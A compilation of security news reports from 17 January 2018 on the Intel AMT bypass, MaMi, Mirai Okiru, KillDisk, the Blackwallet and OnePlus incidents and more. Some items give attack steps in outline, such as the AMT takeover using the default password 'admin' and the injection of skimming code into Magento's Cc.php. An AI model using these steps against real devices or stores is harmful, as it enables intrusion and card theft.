"The RCMP will continue to work diligently with our domestic and international law enforcement partners to prosecute online criminality."
Bloom was arrested and charged on December 22, 2017, as part of the RCMP's national cybercrime division investigation, dubbed 'Project Adoration.'
The RCMP said the Dutch national police and the United States' FBI assisted in the operation, adding the case could not have been cracked without international collaboration.
Bloom is currently in custody and due back in court on February 16.
Cybersecurity lawyer Imran Ahmad told Reuters that Bloom could face a maximum sentence 10 years in prison.
New Intel AMT Security Issue Lets Hackers Gain Full Control of Laptops in 30 Seconds
17.1.2018 thehackernews Attack
It's been a terrible new-year-starting for Intel.
Researchers warn of a new attack which can be carried out in less than 30 seconds and potentially affects millions of laptops globally.
As Intel was rushing to roll out patches for Meltdown and Spectre vulnerabilities, security researchers have discovered a new critical security flaw in Intel hardware that could allow hackers to access corporate laptops remotely.
Finnish cyber security firm F-Secure reported unsafe and misleading default behaviour within Intel Active Management Technology (AMT) that could allow an attacker to bypass login processes and take complete control over a user's device in less than 30 seconds.
AMT is a feature that comes with Intel-based chipsets to enhance the ability of IT administrators and managed service providers for better controlling their device fleets, allowing them to remotely manage and repair PCs, workstations, and servers in their organisation.
The bug allows anyone with physical access to the affected laptop to bypass the need to enter login credentials—including user, BIOS and BitLocker passwords and TPM pin codes—enabling remote administration for post-exploitation.
In general, setting a BIOS password prevents an unauthorised user from booting up the device or making changes to the boot-up process. But this is not the case here.
The password doesn't prevent unauthorised access to the AMT BIOS extension, thus allowing attackers access to configure AMT and making remote exploitation possible.
Although researchers have discovered some severe AMT vulnerabilities in the past, the recently discovered issue is of particular concern because it is:
easy to exploit without a single line of code,
affects most Intel corporate laptops, and
could enable attackers to gain remote access to the affected system for later exploitation.
"The attack is almost deceptively simple to enact, but it has incredible destructive potential," said F-Secure senior security researcher Harry Sintonen, who discovered the issue in July last year.
"In practice, it can give a local attacker complete control over an individual’s work laptop, despite even the most extensive security measures."
According to the researchers, the newly discovered bug has nothing to do with the Spectre and Meltdown vulnerabilities recently found in the microchips used in almost all PCs, laptops, smartphones and tablets today.
To exploit this issue, all an attacker with physical access to a password (login and BIOS) protected machine needs to do is reboot or power-up the targeted PC and press CTRL-P during boot-up, as demonstrated by researchers at F-Secure in the above video.
The attacker then can log into Intel Management Engine BIOS Extension (MEBx) with a default password.
Here, the default password for MEBx is "admin," which most likely remains unchanged on most corporate laptops.
Once logged in, the attacker can then change the default password and enable remote access, and even set AMT's user opt-in to "None."
Now, since the attacker has backdoored the machine efficiently, he/she can access the system remotely by connecting to the same wireless or wired network as the victim.
Although exploiting the issue requires physical access, Sintonen explained that the speed and time at which it can be carried out makes it easily exploitable, adding that even one minute of a distraction of a target from its laptop is enough to do the damage.
"Attackers have identified and located a target they wish to exploit. They approach the target in a public place—an airport, a café or a hotel lobby—and engage in an 'evil maid' scenario," Sintonen says.
"Essentially, one attacker distracts the mark, while the other briefly gains access to his or her laptop. The attack doesn't require a lot of time—the whole operation can take well under a minute to complete."
Along with CERT-Coordination Center in the United States, F-Secure has notified Intel and all relevant device manufacturers about the security issue and urged them to address it urgently.
Meanwhile, users and IT administrators in an organisation are recommended to change the default AMT password of their device to a strong one or disable AMT if this option is available, and never leave their laptop or PC unattended in a public place.
Skype Finally Adds End-to-End Encryption for Private Conversations
17.1.2018 thehackernews Social
Good news for Skype users who are concerned about their privacy.
Microsoft is collaborating with popular encrypted communication company Signal to bring end-to-end encryption support to Skype messenger.
End-to-end encryption assured its users that no one, not even the company or server that transmits the data, can decrypt their messages.
Signal Protocol is an open source cryptographic protocol that has become an industry-wide standard—which is used in Facebook Messenger, Whatsapp, and Google Allo for secure messaging.
Dubbed Private Conversations, the new feature which is about to be introduced in Skype will offer end-to-end encryption for audio calls, text, and multimedia messages like videos and audio files.
"Skype Private Conversations give you enhanced security through end-to-end encryption with an additional layer of security for conversations between you and your friends and family," the company announced.
"Private Conversations can only be between you and one other contact. This is not supported in groups."
How to Start Skype End-to-End Encrypted Calls and Chats
Private Conversations is already available to the Skype Insider program—a platform that allows Skype users to test new features before they rolled out to the rest of its over 300 million of users worldwide.
To initiate a new secure communication with your Skype contact, you need to tap or click on the (+) icon, select 'New Private Conversation' and then select the contact you would like to start the secure communication with.
A Private Conversation will have a lock icon next to your Skype contact's name. Preview messages from Private Conversations will not appear in the chat list or notifications.
Unlike WhatsApp, end-to-end encryption feature is not enabled by default in Skype and users need to select 'New Private Conversation' from the app's "Compose" menu, or from another user's profile to initiate a secure communication—it's like Facebook Messenger's Secret Conversations, which is also based on of Signal.
Unfortunately, Private Conversations also doesn't currently support video calling, but this is secured by the standard encryption that Microsoft already provides with its Skype service.
Also, even with Private Conversations enabled, Skype will still be able to access some information (metadata) about your secure communications, like when you initiate them, and how long the conversation last.
Skype Insider users can test Private Conversations using Skype build version 184.108.40.206 for iOS, Android, Linux, Mac, and Windows Desktop.
How to hack Facebook accounts exploiting CSRF in Oculus app
17.1.2018 securityaffairs Social
Facebook has fixed a couple of vulnerabilities that could have been exploited by attackers to hijack accounts by abusing integration with the Oculus virtual reality headset.
In March 2014, Facebook founder Mark Zuckerberg announced the acquisition of Oculus VR and included the handsets produced by the company to its bug bounty program.
White hat hackers discovered several vulnerabilities in Oculus platform since, including the ones addressed now by Facebook.
The flaws were reported in October by the security consultant Josip Franjkoviæ who analyzed the Oculus application for Windows.
“Oculus enables users to connect their Facebook accounts for a more “social” experience. This can be done using both the native Windows Oculus application and using browsers.” wrote Franjkoviæ. “I took a deeper look at the native Windows flow, and found a CSRF vulnerability which allowed me to connect a victim’s Facebook account to attacker’s Oculus account. Once connected, the attacker could extract the victim’s access token, and use Facebook’s GraphQL queries to take over the account.”
One of the features implemented by the Oculus application is the authentication to a Facebook account, Franjkovic discovered that attackers could have exploited specially crafted GraphQL queries to connect any user’s Facebook account to their Oculus account.
GraphQL is a query language created by Facebook in 2012 for describing the capabilities and requirements of data models for client‐server applications, a GraphQL query is a string that is sent to a server to be interpreted and fulfilled, which then returns JSON back to the client.
Franjkovic discovered that a specially crafted query allowed an attacker to obtain the victim’s access token and use it to impersonate the victim by accessing his account.
In a proof of concept attack, Franjkovic shows how to use a specially crafted query to add a new mobile phone number to the targeted account and use it to reset the victim’s password.
The vulnerability was reported to Facebook on October 24, the social network giant temporary solved the issue by disabling the facebook_login_sso endpoint.
On October 30, Facebook rolled out a patch to address definitively the problem, but a few weeks later, the expert discovered a login cross-site request forgery (CSRF) flaw that could have been exploited to bypass Facebook’s patch.
The experts informed Facebook on November 18 that disabled again the facebook_login_sso endpoint to mitigate the problem. A complete patch was rolled out after a few weeks.
Facebook paid the expert for his discoveries and classified the vulnerabilities as critical.
Step by step procedure exploited by the researcher is described on its blog, below the timeline of the hack:
24th of October, 2017, 03:20 – Report sent to Facebook
24th of October, 2017, 10:50 – First reply from Facebook
24th of October, 2017, 11:30 – Temporary fix for the bug (disabled /facebook_login_sso/ endpoint)
30th of October, 2017 – Bug is now fixed.
Game of Drones – Researchers devised a technique to detect drone surveillance
17.1.2018 securityaffairs IT
A group of Israeli researchers at Ben Gurion University have built a proof-of-concept system against surveillance operated a surveillance drone.
Drones have created a new threat to people’s privacy. Anyone with a drone equipped with a video camera can potentially violate our privacy by streaming the subject in his/her private space over an encrypted first person view (FPV) channel.
Experts suggested many methods to detect nearby drones, but they all suffer from the same shortcoming: they cannot identify exactly what is being captured, and therefore they fail to distinguish between the legitimate use of a drone (for example, to use a drone to film a selfie from the air) and illegitimate use that invades someone’s privacy (when the same operator uses the drone to stream the view into the window of his neighbor’s apartment), a distinction that in some cases depends on the orientation of the drone’s video camera rather than on the drone’s location.
A group of Israeli researchers at Ben Gurion University in Beer Sheva (Ben Nassi, Raz Ben-Netanel, Adi Shamir, Yuval Elovici) have built a proof-of-concept system against surveillance operated with spying drones that is able to determine whether a certain person or object is under drone surveillance.
The system first generates a recognizable pattern on whatever subject someone might want to guard spy on with aerial surveillance, then researchers remotely intercept a drone’s radio signals and scan the streaming video the drone sends to the operator scanning for that pattern.
“In this paper, we shatter the commonly held belief that the use of encryption to secure an FPV channel prevents an interceptor from extracting the POI that is being streamed. We show methods that leverage physical stimuli to detect whether the drone’s camera is directed towards a target in real time.” wrote the researchers,
“We investigate the influence of changing pixels on the FPV channel (in a lab setup). Based on our observations we demonstrate how an interceptor can perform a side-channel attack to detect whether a target is being streamed by analyzing the encrypted FPV channel that is transmitted from a real drone (DJI Mavic) in two use cases: when the target is a private house and when the target is a subject.”
The experts leverage the “delta frames” technique, instead of encoding video as a series of raw images, it’s compressed into a series of changes from the previous image in the video. A streaming video related to a still object contains fewer bytes of data compared with a streaming video of an object in motion or images that continuously change color.
That compression feature can reveal key information about the content of the video to someone who’s intercepting the streaming data, the technique works even when data is encrypted.
The Ben Gurion researchers used in the tests a “smart film” to toggle the opacity of several panes of a house’s windows. They used a DJI Mavic quadcopter to spy on the house, they demonstrated that the technique was able to detect the changing from opaque to transparent and back again of the panes. Then they used a parabolic antenna and a laptop to intercept the drone’s radio signals sent back to the operator and search the pattern in the encrypted data stream to detect if the UAV was used for aerial surveillance of the house.
“In another test, they put blinking LED lights on a test subject’s shirt, and then were able to pull out the binary code for “SOS” from an encrypted video focused on the person, showing that they could even potentially “watermark” a drone’s video feed to prove that it spied on a specific person or building.” reported Wired.
But Nassi confirmed that their technique works at ranges where it’s very difficult to spot a surveillance drone in the sky, the researchers tested their technique from a range of about 150 feet. The range is scalable by using a more powerful antenna.
Mobile App Flaws of SCADA ICS Systems Could Allow Hackers To Target Critical Infrastructe
17.1.2018 securityaffairs ICS
IOACTIVE researchers warn that critical infrastructure mobile applications are being developed without secure coding compliance that could allow hackers to target SCADA Systems.
In a report released today, by IOACTIVE, researchers’ advice that critical infrastructure mobile applications are being developed without secure coding compliance that could allow hackers to target Supervisory Control and Data Acquisition Industrial Control Systems.
SCADA-ICS stands for Supervisory Control and Data Acquisition Industrial Control System, that represents the industrial automated systems operating on critical infrastructure. These systems are responsible for the control and operation of critical services like clean water and energy respectively. Researchers of IOACTIVE released a report analyzing the impact on the security of SCADA-ICS systems operating connected to the internet of things (IoT) and mobile applications.
The report states that mobile applications are present in many ICS segments and can be divided into two groups, Local (Wi-Fi, Bluetooth) and remote applications (Internet, VPN), which are exposed to three types of attacks such as Unauthorized physical access to the device or “virtual” access to device data, Communication channel compromise (MiTM), Application compromise.
Considering these attacks mobile SCADA applications can lead to Directly/indirectly influencing an industrial process or industrial network infrastructure and compromising an operator to unwillingly perform a harmful action on the system.
The research was conducted based on OWASP 2016 and analyzed 34 vendors that released the app on Google Play Store. The mobile app analyzed revealed that 147 security issues were identified related to secure coding programming that would allow code tampering.
The researchers noticed that hackers could gain remote control to smartphones to further launch attacks on ICS vulnerable app used on hardware and software. Also, the researchers pointed out that there was an increase of 16 vulnerabilities per application.
Regarding the vulnerabilities, researchers found out that insecure authorization was present with some apps failing to include any form of authentication. Other vulnerabilities live reverse engineering were present due to the absence of code obfuscation. insecure data storage and unintended data leakage were present which could allow hackers to access the app or data related to ‘Supervisory Control And Data Acquisition’ system.
The security of society is at stake since these new vulnerabilities pose a great threat, even more than the damage caused by the 2016 Ukrainian attack. The report recommends to app developers to consider secure coding in the development planning due to the impacts on society that these flaws represent.
New MaMi Malware targets macOS systems and changes DNS settings
17.1.2018 securityaffairs Apple
The popular security researcher Patrick Wardle spotted MaMi malware, a new threat malware designed to hijack DNS settings on macOS devices.
The cyber security expert and former NSA hacker Patrick Wardle made the headline once again, this time the researcher has spotted a new strain of malware dubbed MaMi designed to hijack DNS settings on macOS devices.
Wardle first obtained a sample of the MaMi malware after a user reported on the Malwarebytes forums that the Mac of its teacher was infected by a malware that set DNS servers to 220.127.116.11 and 18.104.22.168.
At the time of its discovery, it was undetected by all engines on VirusTotal. The OSX/MaMi isn’t particularly advanced, but the researcher remarked that it does alter infected systems in rather nasty and persistent ways.
“Since there are already several (IMHO unrelated) malware specimens that perform DNS hijackering (that are named ‘DNSChanger’, etc), I decided to call is OSX/MaMi due to a core class the malware named: ‘SBMaMiSettings’ ” wrote Wardle.
“Ok, that’s a wrap. OSX/MaMi isn’t particular advanced – but does alter infected systems in rather nasty and persistent ways. By installing a new root certificate and hijacking the DNS servers, the attackers can perform a variety of nefarious actions such as man-in-the-middle’ing traffic (perhaps to steal credentials, or inject ads). “
The malicious code acts as a DNS hijacker, but it also implements other features for taking screenshots, simulating mouse events, downloading and uploading files, and executing commands.
The researcher discovered the malware on several websites, unfortunately, it was not able to determine the distribution channel. It is likely the MaMi malware has been delivered via email, fake security alerts and pop-ups on websites, or social engineering attacks.
Wardle noticed that the malware does not appear to execute any of implement feature, likely because it requires some attacker-supplied input or other preconditions that were not simulated in the virtualized test lab used by the expert.
Once MaMi has infected a mac system, it invokes the security tool and uses it to install a new certificate (dcdata.bin) it’s downloaded from the internet.
“By installing a new root certificate and hijacking the DNS servers, the attackers can perform a variety of nefarious actions such as man-in-the-middle’ing traffic (perhaps to steal credentials, or inject ads).” explained Wardle.
How to discover is a macOS system is infected with the MaMi malware?
Users can check DNS settings, the malicious code set DNS servers to 22.214.171.124 and 126.96.36.199.
Patrick Wardle also created a free open-source firewall for macOS named ‘LuLu,’ which is able to block suspicious traffic and neutralize OSX/MaMi’s.
MaMi isn’t only one of the DNS-changer malware discovered since today, the most popular malware with these characteristics is DNSChanger, a threat that targeted both Windows and OS X machines, infecting millions of devices worldwide.
Fappening – A fourth man has been charged with hacking into over 250 Apple iCloud accounts belonging to celebrities
17.1.2018 securityaffairs Apple
Fappening – A fourth hacker, George Garofano (26), of North Branford, has been charged with hacking into over 250 Apple iCloud accounts belonging to celebrities.
A fourth hacker, George Garofano (26), of North Branford, has been charged with hacking into over 250 Apple iCloud accounts belonging to celebrities.
Garofano had been arrested by the FBI and a federal court has accused him of violating the Computer Fraud and Abuse Act.
From April 2013 through October 2014, Garofano used phishing attacks against the victims to obtain their iCloud accounts credentials, access the accounts and steal personal information, including private photographs and videos.
“According to the plea agreement, from April 2013 through October 2014, Garofano engaged in a phishing scheme to obtain usernames and passwords for iCloud accounts. Garofano admitted that he sent e-mails to victims that appeared to be from security accounts of Apple and encouraged the victims to send him their usernames and passwords, or to enter them on a third-party website, where he would later retrieve them.” reads the press release published by the DoJ.
“Garofano used the usernames and passwords to illegally access his victims’ iCloud accounts, which allowed him to steal personal information, including sensitive and private photographs and videos, according to his plea agreement. In some instances, Garofano traded the usernames and passwords, as well as the materials he stole from the victims, with other individuals.”
As part of the Fappening case, nude pictures of many celebrities were leaked online, the list of victims is long and includes Kim Kardashian, Kate Upton, and Jennifer Lawrence.
Garofano also traded the stolen credentials, as well as the information he stole from the victims’ accounts, with other individuals.
In a plea agreement signed last week in U.S. District Court in Los Angeles, Garofano agreed to plead guilty to one count of unauthorized access to a protected computer to obtain information.
The man is now facing up to 5 years in federal prison.
Garofano is the fourth man charged in connection with the Fappening saga, in past months Emilio Herrera, Edward Majerczyk, Ryan Collins, pleaded guilty to being involved in the attacks on the celebrities’ iCloud accounts.
Collins was sentenced to 18 months in federal prison, Majerczyk to nine months and Herrera is waiting for sentencing next month.
Lenovo spotted and fixed a backdoor in RackSwitch and BladeCenter networking switches
17.1.2018 securityaffairs Vulnerebility
Lenovo discovered a firmware backdoor in RackSwitch and BladeCenter networking switch families during an internal security audit.
Security experts at Levono have spotted a firmware backdoor, tracked CVE-2017-3765, in RackSwitch and BladeCenter networking switch families during an internal security audit.
An authentication bypass affects only in RackSwitch and BladeCenter switches running ENOS (Enterprise Network Operating System), the tech giant promptly addressed it with firmware updates last week.
The Enterprise Network Operating System (ENOS) is the firmware that powers some Lenovo and IBM RackSwitch and BladeCenter switches.
According to the security advisory published by Lenovo, the backdoor (dubbed “HP backdoor”) was added to ENOS in 2004 when ENOS was owned by Nortel’s Blade Server Switch Business Unit.
The backdoor was intentionally inserted by Nortel that added it at the request of a BSSBU OEM customer.
“An authentication bypass mechanism known as “HP Backdoor” was discovered during a Lenovo security audit in the Telnet and Serial Console management interfaces, as well as the SSH and Web management interfaces under certain limited and unlikely conditions.” states the security advisory.
“A source code revision history audit revealed that this authentication bypass mechanism was added in 2004 when ENOS was owned by Nortel’s Blade Server Switch Business Unit (BSSBU). The mechanism was authorized by Nortel and added at the request of a BSSBU OEM customer.”
The backdoor was never removed from the firmware even after three acquisitions of the unit. Nortel spun BSSBU off in 2006 as BLADE Network Technologies (BNT), IBM acquired BNT in 2010, and Lenovo bought IBM’s BNT portfolio in 2014 … but the HP backdoor was never removed.
This bypass mechanism can be accessed when performing local authentication under specific circumstances using credentials that are unique to each switch. the exploitation of the backdoor could grant the attacker admin-level access.
Below the list of ENOS interfaces and authentication configurations affected by the issue:
Telnet and Serial Console when performing local authentication, or a combination of RADIUS, TACACS+, or LDAP and local authentication under specific circumstances described below
Web when performing a combination of RADIUS or TACACS+ and local authentication combined with an unlikely condition under specific circumstances described below
SSH for certain firmware released in May 2004 through June 2004 (only) when performing a combination of RADIUS or TACACS+ and local authentication under specific circumstances described below; the vulnerable code is present in more recent firmware, but not used
Lenovo has provided the firmware source code to a third-party security partner to enable independent investigation of the issue, the company declined any responsibility and expressed its disappointment for the presence of the backdoor:
“The existence of mechanisms that bypass authentication or authorization are unacceptable to Lenovo and do not follow Lenovo product security or industry practices. Lenovo has removed this mechanism from the ENOS source code and has released updated firmware for affected products.” continues the advisory
“Lenovo is not aware of this mechanism being exploited, but we assume that its existence is known, and customers are advised to upgrade to firmware which eliminates it.”
Lenovo released firmware updates for both newer and older (IBM-branded) RackSwitch and BladeCenter networking switch families.
The full list of impacted switches and associated links for the latest firmware were included in the advisory.
Lenovo confirmed that the backdoor doesn’t affect the switches running CNOS (Cloud Network Operating System).
Mirai Okiru botnet targets for first time ever in the history ARC-based IoT devices
17.1.2018 securityaffairs BotNet
Researcher @unixfreaxjp spotted the first time ever in the history of computer engineering a Linux malware designed to infect ARC CPU, this new Linux ELF malware was dubbed MIRAI OKIRU.
In August 2016 the researcher @unixfreaxjp from @MalwareMustDie team first spotted the dreaded Mirai botnet, now the same researcher is announcing a new big earthquake in the malware community.
unixfreaxjp spotted the first time ever in the history of computer engineering a Linux malware designed to infect ARC CPU, this new Linux ELF malware was dubbed MIRAI OKIRU.
This is the first time that a malware specifically targets ARC-based systems, the Mirai Okiru was undetected by almost all the antivirus engines at the time of its discovery.
“!! Please be noted of this fact, and be ready for the bigger impact on infection Mirai (specially Okiru) to devices that hasn’t been infected yet.” said #MalwareMustDie
The Linux IoT threat landscape is rapidly changing, crooks will start targeting IoT devices based on ARC CPU.
“From this day, the landscape of #Linux #IoT infection will change. #ARC cpu has produced #IoT dervices more than 1 billion per year. So these devices are what the hackers want to aim to infect #ELF #malware with their #DDoS cannons. It’s a serious threat will be. #MalwareMustDie!” wrote MMD.
As highlighted by the colleague the impact of such botnet could be devastating, it has been estimated that ARC embedded processors are shipped in more than 1.5 billion products per year. This means that the number of the potentially exposed devices is enormous, and a so powerful botnet could be used for a multitude of malicious purposes.
“ARC (Argonaut RISC Core) embedded processors are a family of 32-bit CPUs originally designed by ARC International. They are widely used in SoC devices for storage, home, mobile, automotive, and Internet of Things applications. ARC processors have been licensed by more than 200 organizations and are shipped in more than 1.5 billion products per year.” reads Wikipedia.
View image on TwitterView image on Twitter
This is the FIRST TIME ever in the history of computer engineering that there is a malware for ARC CPU, & it is #MIRAI OKIRU!!
Pls be noted of this fact, & be ready for the bigger impact on infection Mirai (specially #Okiru) to devices hasn't been infected yet.#MalwareMustDie
9:40 PM - Jan 14, 2018
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“#Mirai #Okiru variant is very dangerous, if you see how the coder made specific “innovative modification” in its variant codes+encryption you’ll see what I mean, & now they are the 1st malware to aim #ARC core. These guys can make greater chaos if not be stopped. Mark my word” wrote MalwareMustDie.
It is very important to understand that the Mirai Satori variant is very different from Okiru as explained by MalwareDustdie.
“From what we observe so far. these two types are very different, (among of several common similar characteristic), we think it is good to have different rules to detect Mirai variant Okiru and Satori
Some simple highlights to differ Okiru to Satori variant:
The config is different, Okiru variant’s config is encrypted in two parts w/ telnet bombardment password encrypted, Satori does not split it in 2parts and doesn’t encrypt brute default passwords. Also Okiru’s telnet attack login information is a bit longer (can be up to 114 credentials, max counted), while Satori is having different and shorter database.
Satori seem to have “TSource Engine Query” common Distributed “Reflective” (DRDoS) attack function via random UDP, while Okiru does not seem to have this function,
The infection follow up commands written in both Okiru and Satori in their configurations are a bit different, showing possibility that they don’t seem sharing a same “herding environment”,
(up to) Four types of router attack exploit code has only being spotted hard coded in Okiru variant, yet Satori does not use these exploits at all,
Satori (see VT comment part for reversed code) is using small embedded ELF trojan downloaders to download other architecture binaries which were coded differently compared to Okiru ones (see reversed code is in VT comment),
(there are more minors stuff too that you can notice using the pictures shown in previous points, like differences in usage of watchdog, the usage of command “echo -en \x…” etc)
” wrote MalwareMustDie.
ARC Core CPU base compiled Mirai Okiru ELF malware (botnet client) (ELF 32-bit LSB executable, ARC Cores Tangent-A5, version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, for GNU/Linux 4.8.0, stripped).
The risk that someone could build a powerful Mirai Okiru botnet composed of a billion device is concrete.
Researchers from MalwareMustDie published the Yara rules for the threat
Blackwallet hacked, hackers stole $400,000 from users’ accounts through DNS hijacking
17.1.2018 securityaffairs Hacking
BlackWallet.co was victims of a DNS hijacking attack, on January 13 the attackers have stolen over $400,000 from users’ accounts (roughly 670,000 Lumens).
The spike in cryptocurrency values is attracting cybercriminals, the last victim is the BlackWallet.co a web-based wallet application for the Stellar Lumen cryptocurrency (XLM).
The platform was victims of a DNS hijacking attack, on January 13 the attackers have stolen over $400,000 from users’ accounts (roughly 670,000 Lumens).
According to Bleeping Computer, the attackers collected 669,920 Lumens, which is about $400,192 at the current XML/USD exchange rate.
Stellar Lumen today is considered as the eight most popular cryptocurrency.
The attackers hijacked the DNS entry of the BlackWallet.co domain and redirected it to a server they operated, as result of the attack, the application suspended its service.
Technically users were logging to the bogus domain entering their credentials, then the attackers used them to access the account and steal the funds.
Blackwallet (web wallet) has apparently been hacked
2:51 AM - Jan 14, 2018
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Blackwallet (web wallet) has apparently been hacked pic.twitter.com/HhewwBXnD9
The DNS hijack of Blackwallet injected code, if you had over 20 Lumens it pushes them to a different wallet. pic.twitter.com/Eiwb8UR1Nn
2:58 AM - Jan 14, 2018
View image on Twitter
4 4 Replies 32 32 Retweets 34 34 likes
Well I know now why XLM is dipping
Blackwallet got hacked and the worst part was that I laughed my ass off when reading the reddit…their misery is my gain and for a moment, I felt nothing but joy.
Okay maybe there's something wrong with me.
— Colton Miles (@Omgflamethrower) January 14, 2018
Users on Reddit and other communities promptly spread the news of the hack.
The attackers immediately started moving funds from the XLM account to Bittrex, a cryptocurrency exchange, in the attempt to launder them by converting in other digital currency.
The situation is critical, admins are asking Bittrex to block the attackers’ operations before is too late.
“I am the creator of Blackwallet. Blackwallet was compromised today, after someone accessed my hosting provider account. He then changed the dns settings to those of its fraudulent website (which was a copy of blackwallet).” the Blackwallet creator wrote on Reddit.
“Hacker wallet is: https://stellarchain.io/address/GBH4TZYZ4IRCPO44CBOLFUHULU2WGALXTAVESQA6432MBJMABBB4GIYI
I’ve contacted both SDF and Bittrex to ask them to block the bittrex’s account of the hacker. I’ve contacted my hosting provider to disable my account and my websites.
Hacker sent the funds to a bittrex account. This might lead to an identity.”
Hello @BittrexExchange , please block the account with MEMO XLM 27f9a3e4d954449da04, he hacked https://blackwallet.co/ and is now sending all the funds to your exchange! This is URGENT! A lot of money is involved (>$300,000) https://stellarchain.io/address/GBH4TZYZ4IRCPO44CBOLFUHULU2WGALXTAVESQA6432MBJMABBB4GIYI … https://www.reddit.com/r/Stellar/comments/7q72pw/warning_blackwalletco_hacked_check_your_public_key/?sort=new …
3:35 AM - Jan 14, 2018
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According to the BlackWallet admin, the incident took place after someone accessed his hosting provider account.
The creator of the web-based wallet application is trying to collect more info about the hack from his hosting provider.
“If you ever entered your key on blackwallet, you may want to move your funds to a new wallet using the stellar account viewer,” he added. “Please note however that blackwallet was only an account viewer and that no keys were stored on the server!” he added in the statement.
In December, the popular cryptocurrency exchange EtherDelta suffered a similar incident, attackers conducted a DNS attack that allowed to steal at least 308 ETH ($266,789) as well as a large number of tokens.
Spectre/Meltdown patches had a significant impact on SolarWinds’s AWS infrastructure
17.1.2018 securityaffairs IT
Analysis conducted by SolarWinds on the impact on the performance of the Spectre/Meltdown patches on its own Amazon Web Services infrastructure revealed serious performance degradation.
SolarWinds, the vendor of IT Management Software & Monitoring Tools, has analyzed the impact on the performance of Meltdown and Spectre security patches on its own Amazon Web Services infrastructure.
The results are disconcerting, the company has graphically represented the performance of “a Python worker service tier” on paravirtualized AWS instances.
The CPU usage jumped up to roughly 25% just after Amazon restarted the PV instance used by the company.
“As you can see from the following chart taken from a Python worker service tier, when we rebooted our PV instances on Dec 20th ahead of the maintenance date, we saw CPU jumps of roughly 25%.” states the analysis published by SolarWinds.
The company also monitored the performance of its EC2 instances noticing a degradation while Amazon was rolling out the Meltdown patches.
“AWS was able to live patch HVM instances with the Meltdown mitigation patches without requiring instance reboots. From what we observed, these patches started rolling out about Jan 4th, 00:00 UTC in us-east-1 and completed around 20:00 UTC for EC2 HVM instances in us-east-1. ” continues the analysis.
“CPU bumps like this were noticeable across several different service tiers:”
Summarizing, the packet rate drops up to 40% on its Kafka cluster, while CPU utilization spiked by around 25 percent on Cassandra.
The deployment of the patches had also some positive effects, CPU utilization rates decreased. The company issued an update on Jan 12, 2018.
“As of 10:00 UTC this morning we are noticing a step reduction in CPU usage across our instances. It is unclear if there are additional patches being rolled out, but CPU levels appear to be returning to pre-HVM patch levels.” states the firm.
New EC2 hot patches for Meltdown/Spectre rolling out? Previous CPU bumps appear to be dropping off starting after 10:00 UTC this morning.
3:06 PM - Jan 12, 2018
1 1 Reply 10 10 Retweets 22 22 likes
New KillDisk variant targets Windows machines in financial organizations in Latin America
17.1.2018 securityaffairs Virus
A new variant of the infamous disk-wiper malware KillDisk has been spotted by malware researchers at Trend Micro while targeting financial organizations in Latin America.
A new variant of the infamous disk-wiper malware KillDisk has been spotted by malware researchers at Trend Micro. This variant of KillDisk, tracked as TROJ_KILLDISK.IUB, was involved in cyber attacks against financial organizations in Latin America, it is delivered by a different piece of malware or it may be part of a bigger attack.
“We came across a new variant of the disk-wiping KillDisk targeting financial organizations in Latin America.” reads a preliminary analysis published by TrendMicro.
“Because KillDisk overwrites and deletes files (and doesn’t store the encryption keys on disk or online), recovering the scrambled files was out of the question.”
KillDisk and the ICS-SCADA malware BlackEnergy, were used in the attacks that caused the power outage in Ukraine in December 2015.
It was used in the same period also against mining companies, railways, and banks in Ukraine. The malware was later included in other malicious codes, including Petya.
In December 2016, researchers at security firm CyberX discovered a variant of the KillDisk malware that implemented ransomware features.
This latest variant targets Windows machines deleting any file stored on drives, except for system files and folders.
“The malware attempts to wipe \\.\PhysicalDrive0 to \\.\PhysicalDrive4. It reads the Master Boot Record (MBR) of every device it successfully opens and proceeds to overwrite the first 0x20 sectors of the device with “0x00”. It uses the information from the MBR to do further damage to the partitions it lists.” states Trend Micro. “If the partition it finds is not an extended one, it overwrites the first 0x10 and last sectors of the actual volume. If it finds an extended partition, it will overwrite the Extended Boot Record (EBR) along with the two extra partitions it points to.”
Once the malware has deleted and overwritten files and folders it attempts to terminate several processes to force the machine reboots.
The processed targeted by the malware are:
Client/server run-time subsystem (csrss.exe)
Windows Start-Up Application (wininit.exe)
Windows Logon Application (winlogon.exe)
Local Security Authority Subsystem Service (lsass.exe)
Trend Micro is still investigating this news KillDisk variant, meantime it is inviting companies to adopt a “defense in depth” approach securing the perimeters from gateways, endpoints, and networks to servers.
Customers reporting OnePlus payment website was hacked and reported credit card fraud
17.1.2018 securityaffairs Incindent
Several customers of the Chinese smartphone manufacturer. OnePlus claim to have been the victim of fraudulent credit card transactions after making purchases on the company webstore.
A large number of OnePlus users claim to have been the victim of fraudulent credit card transactions after making purchases on the official website of the Chinese smartphone manufacturer.
Dozens of cases were reported through the support forum and on Reddit, the circumstance that credit cards had been compromised after customers bought a smartphone or some accessories from the OnePlus official website indicating suggest it was compromised by attackers.
“I purchased two phones with two different credit cards, first on 11-26-17 and second on 11-28-17. Yesterday I was notified on one of the credit cards of suspected fraudulent activity, I logged onto credit card site and verified that there were several transactions that I did not make” claims one of the victims. “The only place that both of those credit cards had been used in the last 6 months was on the Oneplus website.”
Security researchers at Fidus analyzed the payment page after reading the claims on the official forum and discovered that card details are hosted ON-SITE exposing data to attacks.
“We stepped through the payment process on the OnePlus website to have a look what was going on. Interestingly enough, the payment page which requests the customer’s card details is hosted ON-SITE.” reads a blog post published by Fidus. “This means all payment details entered, albeit briefly, flow through the OnePlus website and can be intercepted by an attacker. Whilst the payment details are sent off to a third-party provider upon form submission, there is a window in which malicious code is able to siphon credit card details before the data is encrypted.”
The experts speculate the servers of the company website might have been compromised, likely the attackers exploited some flaws in the Magento eCommerce platform used by OnePlus.
There are two methods used by crooks to steal credit cards from Magento-based stores:
The second method relies on the modification of the app/code/core/Mage/Payment/Model/Method/Cc.php file through a shell access to the server. The Cc.php file handles the saving of card details on the eCommerce website. Regardless if card details are actually saved or not, the file is called regardless. Attackers inject code into this file to siphon data.
OnePlus declared that it does not store any credit card data on its website and all payment transactions are carried out through a payment processing partner.
“At OnePlus, we take information privacy extremely seriously. Over the weekend, members of the OnePlus community reported cases of unknown credit card transactions occurring on their credit cards post purchase from oneplus.net. We immediately began to investigate as a matter of urgency, and will keep you updated. ” reads the statement published by the company.
“No. Your card info is never processed or saved on our website – it is sent directly to our PCI-DSS-compliant payment processing partner over an encrypted connection, and processed on their secure servers. “
“The Chinese smartphone maker also confirms that purchases involving third-party services like PayPal are not affected.”
